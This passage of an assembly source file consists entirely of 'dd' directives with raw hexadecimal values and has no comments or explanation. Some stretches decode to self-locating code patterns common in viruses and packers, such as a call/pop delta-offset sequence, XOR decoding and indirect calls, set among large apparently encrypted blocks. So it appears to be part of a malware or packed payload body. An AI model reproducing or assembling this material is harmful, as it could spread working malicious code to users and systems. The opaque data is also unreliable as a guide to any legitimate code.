0F89DF7FFh, 0D99898A7h, 0F24C45F3h dd 2711C292h, 6D1BD1BDh, 5BFDAE2Ah, 88301581h, 0B8465083h dd 0FC4CFAE0h, 18C992F1h, 0E4F4A1CFh, 8D4B4A7Ah, 379FF323h dd 70662C62h, 0DFB4629Bh, 8E3F99FCh, 0E0499DB9h, 28814D1Dh dd 0C39B3D58h, 0FCD58369h, 0A45292F1h, 0EA33E4F2h, 4F720E88h dd 46FA1506h, 22000000h, 6237A1F2h, 879BE029h, 1D774FBDh dd 0D80093C3h, 0F18DC674h, 10594392h, 0ED5533CAh, 0F5D922D3h dd 994526F7h, 5459C374h, 76B78350h, 6840AE78h, 20B6DE0Eh dd 0E5C9124Bh, 9F97C9E7h, 86D1B364h, 46h, 4FBD8741h, 0BEB11D77h dd 0B2B5ED24h, 0C216812Fh, 876BB4EDh, 99450A89h, 0E6EB5506h dd 0F5360ADFh, 0D0C22DF7h, 47F83106h, 0AE8B896Fh, 30089F97h dd 97AE9C4Ah, 0BA68199Fh, 0F12AFFD9h, 0D4045E40h, 74015C3h dd 0F89D79BEh, 0C0D50BE0h, 0E6B07618h, 0CBA1E7Bh, 3E774C8Ah dd 0F6CFB58Dh, 73993EA9h, 4F01EDC2h, 0C9993EA9h, 360BCBh dd 2D6A3F99h, 22AF92DBh, 237D9FD0h, 0A935E3C9h, 1B2993Eh dd 3EA9EF9Dh, 0D7BE6C99h, 42F32C01h, 388781F9h, 316D134Bh dd 0A8000000h, 85331973h, 292F18Dh, 0FAC40851h, 2DCEB48Ch dd 0AA993E8Eh, 94C424F9h, 0C5FED305h, 8EE6987Ch, 2F81993Eh dd 21DCBCFEh, 0D8A8134Bh, 0E3000000h, 0B1E3F89Dh, 66175025h dd 98013191h, 0D1825643h, 4C7AC3FCh, 5BBB9046h, 236C6C2Bh dd 6338A0F5h, 2373682Dh, 0FA6002B3h, 92F19213h, 2ED0088Dh dd 0ECC1177Eh, 9068D6A0h, 3EC39DAAh, 8981ED99h, 8D3ACA59h dd 3A9CF6A4h, 0B8E32C65h, 9A4B8D0Ah, 0FA6832F8h, 886EC822h dd 993EFBDAh, 9442A657h, 11993EFBh, 0D9BF1760h, 9F8EB2A3h dd 67976F20h, 2F09AB2Bh, 0DEBAB9C3h, 5D47ABBFh, 0A2EECB9Dh dd 85B3FCA6h, 610EC90Dh, 0CF807730h, 178297Ah, 0E3B50000h dd 0F6A151F3h, 39040E2h, 118333D5h, 1F7323C5h, 467C15B7h dd 6B0DC9C9h, 58FADEBBh, 46E8EEA8h, 37D9FF96h, 0DE8C72CAh dd 5B994446h, 0F59DFFCCh, 68F3FE1h, 0D1DCC1D5h, 1398F037h dd 538C6112h, 873900A2h, 1D774FBDh, 0D8F193B1h, 569F9A13h dd 3EEED172h, 0C89D4E99h, 3EEE2ADCh, 3A73C599h, 4B410000h dd 9FEC13h, 9D270000h, 0D50BE0F8h, 584419BDh, 92F19271h dd 8C2EAAEBh, 471FB9DCh, 10597D17h, 37A56FBBh, 0C2D5055Fh dd 0BF084116h, 3EC3CEDBh, 0F89A4B99h, 22FA6832h, 8E77A73Ch dd 9B73249Fh, 754D541h, 0B0A8DA7h, 0D8FE94C2h, 3CF05C36h dd 0EB6DF0h, 90023079h, 2FE88B46h, 0ED428076h, 0AD9Ch dd 0BE188000h, 0AD2B6C1Ch, 0A0385B0Bh, 90464EFEh, 82543EEEh dd 8E1147E0h, 8030D204h, 6D1DBF19h, 5B0BAD29h, 8FFC9E3Ah dd 46A35137h, 91209944h, 0E1F59DC4h, 0D2068F3Fh, 71265630h dd 10599267h, 504373CBh, 317AB388h, 71469203h, 24B4E111h dd 0F0E8ADDBh, 0E1F79E4Eh, 0D2068F3Fh, 273111FDh, 52A4F78Bh dd 6C6C2919h, 0A7316494h, 2E5099D2h, 67712454h, 33A5F01Eh dd 6A6C285Eh, 0A4523892h, 21F78B27h, 0B6D22770h, 0DF0F0962h dd 0A9D720B8h, 31DFC5ECh, 0AEF78B27h, 0D0AA4CFDh, 0DE2F4A0h dd 385D8BD4h, 37ACBA0h, 35000000h, 0FB9D3378h, 0C5D006DBh dd 8E083E13h, 5C3D7348h, 2171A77Ch, 0E8AAE0B5h, 0B1E319EEh dd 791A5025h, 43548A5Fh, 513DC095h, 0C181E189h, 4, 8704E983h dd 248B240Ch, 13686824h, 2C890000h, 0E7895724h, 4C781h dd 0EF830000h, 243C8704h, 243C895Ch, 80BE5650h, 890652A5h dd 0C5895EF0h, 3C8B5458h, 4C48124h, 83000000h, 2C8904ECh dd 8478F24h, 50243C8Bh, 405E089h, 5000000h, 4, 5C240487h dd 50242C8Bh, 405E089h, 83000000h, 48704C0h, 47E95C24h dd 0ABFFFB86h, 0B8E40604h, 652BAB5h, 0E0FFC503h, 76BB291h dd 1C346C20h, 21F7C059h, 7D40B014h, 69225FAAh, 48ECFA0Dh dd 1AE2D999h, 295CF490h, 8D6A34Ah, 65FDE136h, 3190BCA7h dd 149E06C8h, 25DDBF2Eh, 40952320h, 3520851Ch, 3CA323Fh dd 6E3AD046h, 68580F44h dd 414CCF4Ah, 4518E532h, 45220E81h, 155D1A06h, 4793149Fh dd 50239B2Dh, 48DAE848h, 4F1DF4E5h, 4751AA62h, 0BC3D8D8Dh dd 0FE80652h, 32000000h, 0A38BF401h, 65117C6h, 0C805ACEFh dd 890F769Ch, 6, 2D318D89h, 895E064Dh, 4D05998Dh, 0F2816606h dd 85C72FB7h, 64D051Dh, 70F4h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 18h, 85C35242h, 14B39781h, 0E81FBE66h dd 2E985C7h, 64Dh, 0EE90000h, 0C7000000h, 816E43C6h, 0C777992Ah dd 6E418544h, 2DB5FFF7h, 8B064D00h, 4D10ADBDh, 5595FF06h dd 0F9064D2Eh, 95FF006Ah, 64D0511h, 29EBC08Bh, 0DEE5EC96h dd 3D8926BFh, 267F0D88h, 35F915C9h, 1384DC65h, 886214D1h dd 31D0B5E8h, 17492BD5h, 0F615A49Ah, 43945E96h, 13E8B4h dd 0C5610000h, 7144C325h, 80A7FEC9h, 0F014CF32h, 75DEFB95h dd 31958B0Dh, 58064D03h, 8BC081F5h, 33000061h, 3810FC9h dd 80000000h, 348BA8C2h, 68A0F08h, 8B000000h, 4D154195h dd 3DF68106h, 8B4488BCh, 4D00859Dh, 41F68106h, 0E83E6991h dd 11h, 5A595D2h, 0CC1ED797h, 0AEA485B9h, 1E99633Bh, 0EB81665Eh dd 815A8430h, 5B2A76C6h, 0E7DBBF26h, 34891FFEh, 27DF8008h dd 3089BD8Bh, 0E983064Dh, 0DDBD8B04h, 81064D06h, 0FF9F40F9h dd 2B850FFFh, 0E9000000h, 14h, 0B2FFE26Ch, 208FAD52h, 0A1B2FCB7h dd 0E0B491BAh, 9F4C2E9Ch, 1CE9h, 1F5B8E00h, 2E510FDBh dd 80CA04EFh, 8166DA3Fh, 0E9CDEEEBh, 0FFFFFF62h, 0CD705EDAh dd 0B08D8DC1h, 660652BDh, 890347BAh, 4D05998Dh, 8D958906h dd 0C7064D15h, 4D051D85h, 723006h, 0C725B400h, 4D02E985h dd 6, 0FE8B6600h, 2DB5FFh, 0DE8064Dh, 6D000000h, 224C83D4h dd 20C07429h, 0BA69B8FEh, 29659D29h, 0FF5A064Dh, 4D2E5595h dd 11E906h, 8A480000h, 80EEE2F5h, 4ADE3673h, 1C9A1F94h dd 6ACC1D79h, 1195FF00h, 8B064D05h, 0F29EBC0h, 3E57D5F5h dd 0EB1DFEFFh, 0B144830Ch, 4C2658D2h, 448DD497h, 0F274D38Bh dd 41A19B51h, 0EF95CF2h, 0CFA6CF74h, 0D1C8A0B8h, 6AC08Bh dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 180424h, 56460000h dd 3FDBAFC3h, 10E98D4Fh, 2D000000h, 5626025Ch, 4C13B1E7h dd 62B365D2h, 6026CC7Dh, 7EA6BA66h, 8361B1B2h, 4D1BD9BDh dd 9750006h, 11BD83h, 7400064Dh, 8B535019h, 3FCB8C0h, 85890000h dd 64D2575h, 0B7159D8Dh, 0D3FF064Fh, 0BD83585Bh, 64D0011h dd 50177400h, 3FCB853h, 85890000h, 64D2575h, 0B4049D8Dh dd 0D3FF064Fh, 8166585Bh, 66BFCDF2h, 4388EA81h, 81C08BF5h dd 673365CAh, 81BD8334h, 1064D12h, 64840Fh, 6A0000h, 3E855h dd 5D200000h, 6C895DC3h, 44810424h, 150424h, 55450000h dd 8138D2C3h, 6B904CE2h, 0B8E3803Fh, 2269BD83h, 0F00064Dh dd 3185h, 3820F00h, 0F000000h, 0BD83D9B7h, 64D21A5h, 73840F00h dd 0F000000h, 1582h, 10E900h, 6360000h, 0EE4E1AB6h, 7224AD4h dd 0CD504AB2h, 13E943A1h, 6A000004h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 1A042444h, 41000000h, 9956C351h dd 1293010Bh, 0D38A9Ch, 66000000h, 6A3046BAh, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 1D042444h, 45000000h dd 98A3C355h, 503C4F08h, 55D0196Fh, 7DBA3CB6h, 0CEC9B999h dd 209A064Bh, 0C8E60622h, 97B05901h, 0CC9D7AA8h, 0CCF842A0h dd 0C86E0635h, 72F45166h, 81D683ACh, 0C8A70071h, 0C8E5EE76h dd 97530621h, 0B43059E2h, 8C5D0205h, 0C8790205h, 9F700621h dd 5F2632E2h, 1B4C60DEh, 1819F8B9h, 2022064Bh, 0C8B90622h dd 911F5F01h, 0CC4A4AA8h, 0CC1342A0h, 0C89B0637h, 80E5760h dd 3DB05B17h, 0CCE3EF7Ah, 20EC0621h, 0C8DC0621h, 7683877Ch dd 0A231549Eh, 0CB735521h, 0E8CD0621h, 41BDC57Ah, 4977227Dh dd 0DDBD2265h, 8BDC0621h, 0C361C572h, 6F68A99Bh, 17106064h dd 0C8A7C6AAh, 0C8E5EE72h, 93530621h, 94305DE2h, 8C5D0205h dd 0C8730205h, 9B740621h, 0CB351AE2h, 71DCDDD8h, 0AEE033F1h dd 9FE3D0AAh, 0A9D86641h, 0C535567Bh, 0F16E0621h, 1E9C60F9h dd 12E86200h, 87F2DD8Eh, 9AE66CB1h, 0C87305C9h, 0BE32621h dd 0EC888F7Bh, 0EC2A8725h, 0C8371B25h, 0BC94421h, 8C05DB62h dd 0A8BE0C5h, 43159A23h, 84B809F6h, 77D3F805h, 0C70E5EF8h dd 0C83706A4h, 0AECA6721h, 0CD97D7AAh, 0C8E6042Dh, 43A4B92Eh dd 9EB96C29h, 0C8DC05C9h, 0B302621h, 0EC438F7Fh, 0ECDF8725h dd 0C8CD1C25h, 0BB04021h, 0CEC0CF7Dh, 0C7746E48h, 0C8DC0CACh dd 0C86BEF21h, 79E00621h, 0AED20942h, 49314EAAh, 772B45E3h dd 0C872BE3Ch, 49DF0621h, 5910EDD2h, 0B841F59Bh, 9A675632h dd 56F3BD47h, 9A9D372Eh, 0C8E617C8h, 78FCBB21h, 0C385DE9Eh dd 1A95EA5Bh, 0C2C2D8E1h, 0F9388B33h, 0E742BC47h, 90975E7Bh dd 99E66CB0h, 0C87305C9h, 0BE02621h, 0EC908F78h, 0EC2A8725h dd 0C8371E25h, 0BCA4721h, 0BB0EFC42h, 116A60AAh, 0C8708B2Eh dd 43DF0621h, 0CC1DF0F6h, 0C93F832Eh, 0DCDE0621h, 4D9B0621h dd 6008547Bh, 87904CF1h, 5A2E127Bh, 75856C04h, 91FAD10Eh dd 203C064Bh, 0C8370622h, 92585C01h, 0CCE952A8h, 0CCC242A0h dd 0C8730639h, 537A5463h, 0F39DAE3Dh, 0C86E12C9h, 9BAFA221h dd 0FD14523h, 2427CA40h, 74E72CF8h, 53ACD3ECh, 93608D46h dd 0C7B43FA1h, 0C86F7CA4h, 0B1BCFF21h, 989B6C20h, 0C8CD05C9h dd 0BBE2621h, 0EC378F79h, 0ECFD8725h, 0C8DC1D25h, 0B3E4621h dd 24117E47h, 6180B174h, 0C8DC842Eh, 0C40F0621h, 8730621h dd 8C0E7EACh, 0FCA3AD54h, 49D84176h, 0C83706DEh, 0F81909A1h dd 0A2CD0620h, 0CB0E5721h, 0E8730621h, 41E0C578h, 49D8226Dh dd 0D26A2265h, 89370621h, 0ACC6C570h, 0A257838Eh, 0F398D9Ah dd 9ACC13A4h, 0C8B90727h, 9ADC6C21h, 0C86E05C9h, 0B6D2621h dd 0ECCF8F7Bh, 0EC898725h, 0C8E61B25h, 0B214421h, 1D686BBh dd 0FCE64EFDh, 1787F281h, 0A2370621h, 0CB735321h, 0E8CD0621h dd 41BBC57Ch, 4977224Dh, 0D2BD2265h, 8DDC0621h, 0BCCEC574h dd 61733DE8h, 102C0946h, 0C8CDA8C8h, 99E66C21h, 0C87305C9h dd 0BE02621h, 0EC908F78h, 0EC2A8725h, 0C8371D25h, 0BCA4721h dd 0AFFC3BDh, 20BD8740h, 918F8CDDh, 20EC064Bh, 0C8DC0622h dd 95AD5B01h, 0CC136AA8h, 0CCBF42A0h, 0C8CD0635h, 0F255364h dd 0C8718E2Eh, 19320621h, 177EECA0h, 4B085F03h, 0C7C80D58h dd 0C89B54A5h, 9ECD6C21h, 0C8E605C9h, 0B2D2621h, 0ECCD8F7Fh dd 0EC988725h, 0C86E1D25h, 0B614021h, 182D0AB1h, 0E66D2869h dd 4D21F1ABh, 0CE21B934h, 0C8B90620h, 208C064Bh, 0C86E0622h dd 90F45E01h, 0CCBF42A8h, 0CCE942A0h, 0C8E60639h, 0DBB05661h dd 86F3DEFCh, 800CB92Eh, 95FF4A0h, 2B8E2B64h, 45C97ECEh dd 9A0991A4h, 0E85B8B27h, 0F37554E2h, 0F8BE72D9h, 8F15D72Eh dd 0C804F3CAh, 0C834EE76h, 97BB0621h, 0B44459E2h, 8C670205h dd 0C8690205h, 9FFE0621h, 67D92BE2h, 0A7987A3Dh, 0C833822Eh dd 73FD0621h, 1746E84Dh, 20B3064Bh, 0C8730622h, 957A5B01h dd 0CCF86AA8h, 0CC4A42A0h, 0C8370639h, 16585364h, 8C5AFA2Bh dd 7565D0AAh, 0CE3E14A0h, 0AD3D0920h, 21DC0621h, 0C86E0628h dd 8FF016F4h, 3C298707h, 0A1708543h, 0C8E04B03h, 0C839832Eh dd 43DF0621h, 4B2D8CF8h, 854FA39Ch, 4C380627h, 0C89B0661h dd 209E064Bh, 0C8E60622h, 93B05D01h, 0CC9D5AA8h, 0CCF842A0h dd 0C86E063Dh, 0CAF45562h, 0AB96A2B3h, 98DCC6AAh, 0C8E600C8h dd 0FE33DA21h, 0AE0BDBFCh, 73711D9Bh, 0CE9CCB10h, 0C83767C8h dd 12106021h, 0DA4CBBA2h, 0C7E7006Ch, 0C87321A4h, 496F8D21h dd 0C58C3ED3h, 0C1875B3Ch, 0A7370621h, 0EC7E943Ch, 0C468847Eh dd 3987BCE2h, 0E79A4D00h, 0AEB90621h, 22AE4A0h, 5AD8667Ch dd 59D9EFA0h, 7FA2859h, 209B064Bh, 0C8E60622h, 96B05801h dd 0CC9D72A8h, 0CCF842A0h, 0C86E0637h, 37F45067h, 75167F83h dd 0CE9FB965h, 0C828BACh, 0D5CB0073h, 0FBC23C7Dh, 85C2D7A4h dd 9A12D27h, 2B8E04C8h, 45C97ECEh, 9A0991A4h, 0E85B8B27h dd 0F37554E2h, 0F8BE72D9h, 0E983D72Eh, 83A4F305h, 52BF15BDh dd 0D740006h, 4DE58D8Dh, 1B8064Dh, 0FF000000h, 0BF0F40E1h dd 0CE8D3h, 0C6600000h, 2E16F486h, 69B607E6h, 0DC8A7838h dd 55006A5Bh, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1704h dd 0C3554500h, 0E692C404h, 0E883A0B6h, 56006A2Dh, 3E8h dd 0C35E2000h, 2474895Eh, 24448104h, 1404h, 0C3564600h dd 0D0BF0F23h, 0B3C08BF8h, 0D9BD8302h, 64D1Bh, 0BD830975h dd 64D0011h, 50197400h, 0B8C08B53h, 3FCh, 31A58589h, 9D8D064Dh dd 64FB77Ch, 585BD3FFh, 11BD83h, 7400064Dh, 0B8535017h dd 3FCh, 31A58589h, 9D8D064Dh, 64FB41Dh, 585BD3FFh, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 18h, 0E8C35040h, 16164C77h dd 939139BBh, 52006A42h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1D04h, 0C3524200h, 0AB889B72h, 0E44C6DE0h, 81607BAEh dd 583847E8h, 5FBE665Dh, 0C08B61F0h, 24EBh, 8 dup(0) dd 0BDE90000h, 89000000h, 52C59CB5h, 81858B06h, 8B064D12h dd 4D0D0585h, 0E6B58D06h, 8D0652C5h, 50494D85h, 0C3D0FF06h dd 0E855h, 815D0000h, 52C5ECEDh, 81BD8306h, 1064D12h, 2C850Fh dd 0B5FF0000h, 652C59Ch, 0D05858Bh, 3635064Dh, 0FF348127h dd 0F013CD0h, 0A85h, 1B800h, 47E90000h, 33000000h, 40E9C0h dd 1C6A0000h, 0C5A0B58Dh, 0FF560652h, 52C59CB5h, 5858B06h dd 35064D0Dh, 34812736h, 0C483D0FFh, 0A0B58D0Ch, 8B0652C5h dd 0E0831446h, 4F88304h, 7840Fh, 0C0330000h, 5E9h, 1B800h dd 0BD830000h, 64D1281h, 7850F01h, 5D000000h, 2E9C3h, 0CF5D0000h dd 0C5C5858Dh, 85890652h, 64D3255h, 98E9h, 9400h, 500h dd 100h, 0A2800h, 200h, 20h dup(0) dd 7B1CEE00h, 0BA2E970h, 0EE680000h, 0E90652C8h, 0FFFAB889h dd 52CA0168h, 0B87FE906h, 1768FFFAh, 0E90652CBh, 0FFFAB875h dd 52CB8C68h, 0B86BE906h, 0C268FFFAh, 0E90652CCh, 0FFFAB861h dd 52CD2368h, 0B857E906h, 7168FFFAh, 0E90652D0h, 0FFFAB84Dh dd 52D15468h, 0B843E906h, 2FF5FFFAh, 0D29D7D89h, 7640202Ch dd 17E4C4D0h, 0BC856571h, 0E0080A16h, 3440E6AFh, 0DBE78D54h dd 7D892FFBh, 232FD59Dh, 0F090BF8Ch, 41D4FC59h, 0AD75F636h dd 9A64C207h, 2097E918h, 319ADB4Fh, 8EBFFBC8h, 331DF1A0h dd 0A075C42Dh, 8228F553h, 0D52979B5h, 0C2BC28F6h, 963C0359h dd 7B21E947h, 6D9CE936h, 0DB4E4D13h, 0F28EB51Eh, 3FDB4E4Ch dd 0A47387D6h, 4C582857h, 70D9DB4Eh, 0DD8F4621h, 641C4B98h dd 64DB4E4Ch, 0B58103DEh, 41AA757Eh, 18B3CDFCh, 157EDB4Fh dd 814A79C6h, 0D0D13834h, 96B9A67h, 77D501FDh, 86A05B09h dd 35B65B1Ah, 32h, 8FDDF873h, 8F22EC4Ah, 66B51EC4h, 2099EA19h dd 52A8D138h, 8A30F88Bh, 16E34CBDh, 406F3CA5h, 0D5022034h dd 7B66DE4Ch, 0B65B42EBh, 0C710h, 28864E00h, 7BECB95Fh dd 6006CE2Ch, 0C66C3593h, 2DD39BF9h, 50C18AE8h, 8A44E83Fh dd 157C055h, 51C28F35h, 7CF2D02h, 55A45561h, 41DB4ECDh dd 0E7C7D379h, 0D1AC791Fh, 0F4236804h, 0D137E9FBh, 0A68AD16h dd 384C9B41h, 2D72FADBh, 0F25491FEh, 1257C0CAh, 45EBB4h dd 0E6FC84B3h, 0CC35CEB1h, 5E9A697Dh, 10CFB8B0h, 0BF88DEC9h dd 8CDB4C19h, 0B4E3652Eh, 0CEB139CCh, 9D430F65h, 8DF65FD0h dd 79CFA075h, 59774C98h, 932h, 0EBF79D63h, 8E9A400Bh, 323EE4AEh dd 0D3DF8552h, 78842AF3h, 541D7276h, 0FBC2A2AEh, 9D694955h dd 430BEBF7h, 2DFA919Dh, 0FC5882FEh, 64A4AFD4h, 0FA06AC75h dd 0F8BF521Ah, 93DDE952h, 7EC4DDF8h, 1E8DE153h, 0A0CF147Dh dd 0D13790E3h, 17BD86E4h, 6594D94Ah, 0D501911Bh, 8B5EAD16h dd 4E265522h, 32D50190h, 106E80C4h, 62D3A046h, 0D295AD13h dd 0D542B65Bh, 80000000h, 0C03CAD75h, 0B0C4A323h, 0B614E14Ah dd 0EC925AEDh, 7845AE1Fh, 6291DE2Bh, 0DB4E241Eh, 0FD83AA13h dd 0BADB4E23h, 4E23F58Bh, 8D33CDBh, 0D821509Fh, 0BEDB4E28h dd 644450F6h, 40082B9Ch, 5BF6AF3Bh, 854FADF2h, 4273ABDFh dd 0E7A667ACh, 0EDE8C398h, 8FED3A7Fh, 0D5F354C5h, 9284190h dd 0CD2251A0h, 44D136E8h, 6372CFDBh, 2A77C409h, 9C85FBh dd 0F443ACD5h, 0F150BBC5h, 0D79EFCCAh, 0A4F36431h, 0C52368D1h dd 7B4A56FCh, 60AF551Dh, 7B933902h, 987A10BCh, 1F557348h dd 76000008h, 1EFE0AB0h, 0C1A1AD53h, 654551F7h, 6E6F298h dd 898B973Dh, 0C3693267h, 6A10D7B7h, 0CB27E5Eh, 0B2582000h dd 13420FA6h, 0D4FC566Dh, 7579B9C4h, 1AFA06ACh, 56A0AC52h dd 5C894A86h, 0FFC84BFAh, 3AF58BBAh, 0D33CDB4Eh, 0B85E2684h dd 0E1629EEBh, 93AD8284h, 0ECB41261h, 0D6B3A46h, 714C9B41h dd 65C30864h, 0B526F399h, 27EA1966h, 2AD122CEh, 3FCAB6E5h dd 0BEEDD4FCh, 0D4FC3FC2h, 0D23B066Fh, 40225E8Dh, 0A60FD4FCh dd 0D29AF83Dh, 0F351202Ch, 736852Bh, 0D4FC4109h, 0B36992CEh dd 17FEF3FAh, 352F8C1h, 75BAB228h, 0DDAA5017h, 0A6091D6Ch dd 23498C6Bh, 98B0AFDEh, 0D841CAE5h, 0C56B3593h, 2CD29AF8h dd 0FEA46DC3h, 2171C031h, 1442BBF8h, 0F5775E98h, 5F9A81B0h dd 7FDD30CFh, 0CF400DB3h, 7744AD80h, 0EE33399Ch, 0CF1EC490h dd 0BE7A5382h, 92D72A86h, 48D31D63h, 42AB142Eh, 8952B0FDh dd 6E3694E3h, 14DCBCC8h, 6695566Eh, 441939E2h, 70926h dd 20C68C00h, 0C3693414h, 670DD7B7h, 8AE7B5Bh, 0AD531CFCh dd 48099FA1h, 0EDCDD97Fh, 94748026h, 361622C8h, 25BCC86Eh dd 55572958h, 0CFDAD4FCh, 8FDDF88Fh, 1BC1FD4Ah, 0DE670820h dd 0E82958A7h, 0EFD12235h, 0D01FC591h, 0F14F94FDh, 94748026h dd 0C56B36C9h, 0CBDB175Ch, 0C02374B0h, 5AA77CCBh, 0D19C2FFCh dd 1573C22Bh, 0E48FA74Dh, 4892B7D8h, 6945573h, 3B010000h dd 0DEA98995h, 824C2C38h, 23F0D0DCh, 0C891717Dh, 9C141622h dd 404CF2BBh, 0E7F39960h, 89953B07h, 2F3BE1A9h, 0E49CCB98h dd 4DD4FC55h, 0DDF80242h, 0F61B4A8Fh, 5BD122E7h, 874FADF2h dd 6278D5E1h, 0EE96C50Ah, 0D9D4FC59h, 0D349508Ch, 2197CDD6h dd 0FC2886FAh, 0F342ABD4h, 5A00CA20h, 0E6B31C8Dh, 0FC28BCB7h dd 0EE56C4D4h, 44C653F3h, 3A88B6h, 86C60000h, 20760A39h dd 52BBDB4Fh, 0BAB22803h, 0ACDB2875h, 0DB4F20D4h, 76A5F45Dh dd 0DB4F2106h, 0C6F5C22Bh, 0DB4F20AEh, 0F5E064D2h, 0B0163E6Dh dd 78Ah, 0D0B5C800h, 6B000001h, 0FFD6C5F2h, 0A60FB580h dd 472D3261h, 5BC4D138h, 0A9F0EA13h, 0ECE9824Dh, 6E38CB93h dd 218AFBC8h, 0F55E04CBh, 579A81B0h, 0EE571B40h, 128F4621h dd 0EACE53B5h, 96DB44C6h, 7D23EB49h, 0E8B55B27h, 0D4F92877h dd 314F7CFh, 48A4D7C7h, 0D2218AE9h, 98C9CBFFh, 0B0B07EBAh dd 0D8A40247h, 8D57B45h, 92DF2E97h, 0B7C9F845h, 7A18B942h dd 9C64C211h, 0BD1BEAF6h, 128350F6h, 0F79D65C3h, 71F622DFh dd 9BB98E56h, 55Eh, 0BFCB7137h, 626E14DFh, 612B882h, 0A7B35926h dd 4C58FEC7h, 28F1A64Ah, 0CF967682h, 713D1D29h, 17DFBFCBh dd 1CE6571h, 0FC54AED2h, 387883D4h, 760A3986h, 0BBDB4F20h dd 0DDA50352h, 468F6A37h, 20651B4Ah, 63CCDB4Fh, 0F986B5FAh dd 38D13826h, 1BE3C3CFh, 2EAA5D75h, 2D0292A9h, 4FD0Fh dd 2CD29800h, 0CF754020h, 7319E3C3h, 14BA8767h, 0B95F2808h dd 5405ABADh, 0F9D9E58Bh, 0A0808C32h, 42222ED4h, 31C8D47Ah dd 534B3564h, 0DBE6D4FCh, 764A869Bh, 0DCCBED5Bh, 57285887h dd 0A009DB4Eh, 0C28AE837h, 29F14F1Ch, 60C6B683h, 0C83901E4h dd 0C13BC248h, 0BB5BA2FFh, 0E2089BCFh, 86ADB2E6h, 13EAF776h dd 0ACB69EAAh, 4BB016FDh, 33h, 8FDDF889h, 7A20EC4Ah, 0A0ED3CADh dd 3829B671h, 15E24BD1h, 2198EE6h, 45A3F2D5h, 0AC0AD77Dh dd 0FC6D3AE0h, 6CD84493h, 5B45D171h, 4506B6h, 0F8440000h dd 1B4A8FDDh, 0D1386E44h, 0A1FF44ADh, 9EEB30D6h, 1D3116Fh dd 68B720D5h, 5A278554h, 40406FB4h, 0F1D501D2h, 690A3988h dd 3ED501D2h, 0D2BEC2F1h, 0A73D501h, 0EF955DBBh, 923803E3h dd 418A7C5h, 865D0000h, 0EAB75D28h, 864F2A79h, 9972A1E6h dd 0B8D13833h, 5C24824Fh, 6B3571B6h, 83FFB86Eh, 690FD92Fh dd 7DC2B9Ch, 41212391h, 6493D894h, 0CAEB09A7h, 553541AAh dd 881E1C8Dh, 0EA917541h, 61EB7E34h, 1B84EDA4h, 0A62734Eh dd 562D96C5h, 3C9AC49Dh, 9102CF75h, 39066F42h, 4E175318h dd 5C02CF31h, 0CBEA1E8Fh, 0A4105F07h, 5F124EA0h, 21FE026h dd 9A62C00Fh, 4A8BE8F4h, 59AEDD22h, 0E8BE4FC4h, 8C54B27Fh dd 0F2BB19E6h, 68437F4Ch, 6F82DB62h, 0A44A1268h, 0C381E7D7h dd 5410F40Dh, 86CBA134h, 6C12DB39h, 1119EE1Dh, 50AEB803h dd 0C28CE288h, 91FACD1Ch, 0EA7AB685h, 0C3923925h, 945A88BCh dd 0E87B26C5h, 0CD733B99h, 46D9A200h, 9506D379h, 7BE95F2Ch dd 0ABDA27C9h, 0BBCCEBD5h, 30BFF35Ch, 4FFA1334h, 0DBA30150h dd 9CC2935h, 73D11E63h, 0C73805ABh, 17A4978h, 5EC7B1B6h dd 1EE64491h, 305A4478h, 1B40D3C5h, 0A66ECCh, 0EF4D1233h dd 0C5318026h, 86E6EF9Fh, 37B8F441h dd 0B930CBAh, 864C345Bh, 7CE5B57Fh, 67B65C26h, 0A5D8EB1Ah dd 69AB68h, 0A64C14F4h, 103F8CD9h, 0AF326770h, 0F7C46A36h dd 352BB86h, 0F237DDA5h, 680A76A5h, 0E227AF32h, 3267CDB3h dd 92FB64AFh, 13602F43h, 32679CE4h, 0D62C95AFh, 25966309h dd 92DAFBD6h, 84B3004Dh, 0AF3267FCh, 6E14DF35h, 78C730A1h dd 1B838249h, 9966CFA5h, 0E54C0A6Ah, 5C0876A8h, 7FEB81A1h dd 2A3682h, 0F8740000h, 1B4A8FDDh, 0D1382068h, 74A370D9h dd 0D5022100h, 0A7521280h, 0B65B429Fh, 0A5DB0A57h, 8CD5022Ch dd 0E06CD423h, 0AA000000h, 3A07AD75h, 0B88013DCh, 7EDCA912h dd 7ECB10B6h, 0E6B35920h, 20324E75h, 96FFDB4Fh, 4C147247h dd 7A47EDB9h, 0E394A009h, 0DB4F2616h, 612B880h, 5EED5E26h dd 0EB9725A9h, 9CE92E97h, 4E64136Dh, 66B51EDBh, 4D1FB691h dd 95C6D908h, 64B1D137h, 9E25628h, 0D9009A2Eh, 0D5020CA7h dd 4CB218Ah, 0D120915Eh, 0F25095FEh, 103F842Ah, 0D5020C70h dd 0F50958C1h, 55FBC826h, 439238FFh, 0BAFF6D68h, 9C420F6Dh dd 0C4DA1E4Dh, 0DE47CAF2h, 0CC723B99h, 8417E0C0h, 90A811B7h dd 9878E487h, 0AF38562Bh, 0E6000001h, 8E6E7A20h, 31111DC3h dd 0D5B5C167h, 76566208h, 0F9FB07ADh, 33D9A2F7h, 0DA804727h dd 7C22EECEh, 22C89070h, 83B27F16h, 0D4FC50FDh, 75E92934h dd 0A64C19ACh, 8951313Dh, 0F88DD7E3h, 1B4A8FDDh, 0D1382068h dd 9DE3125Fh, 94D50220h, 0A009DC2Bh, 0A3986D3h, 0D5022076h dd 0D40352BBh, 0D50220A0h, 0BA872DF6h, 1EEB915Ch, 0A3291B07h dd 609BC937h, 0B65B42C6h, 0A2F5h, 0AD753300h, 2084FC2Bh dd 44ADDB4Fh, 0E7B00EDBh, 0B4457441h, 0E2DB4F25h, 9968741Ah dd 13DD703Bh, 57B5046Dh, 411CE98Fh, 6493D894h, 0D1384E3Bh dd 99DD003Ch, 0FBD18442h, 60943076h, 1B6ADF84h, 0ACD40348h dd 85D5014Fh, 4AA7B31Ch, 6D9CE18Bh, 0CAF205AAh, 2B89CE37h dd 0D0B0BC62h, 32496107h, 0DA9879ADh, 0CCE705h, 3C90000h dd 0A671515Dh, 4A14F400h, 0EBB898A4h, 90593945h, 0D4DCDEEAh dd 814BA83h, 0AFBB6128h, 515D03CFh, 0F703A971h, 1C649360h dd 15D4FC50h, 0AC75CA0Ah, 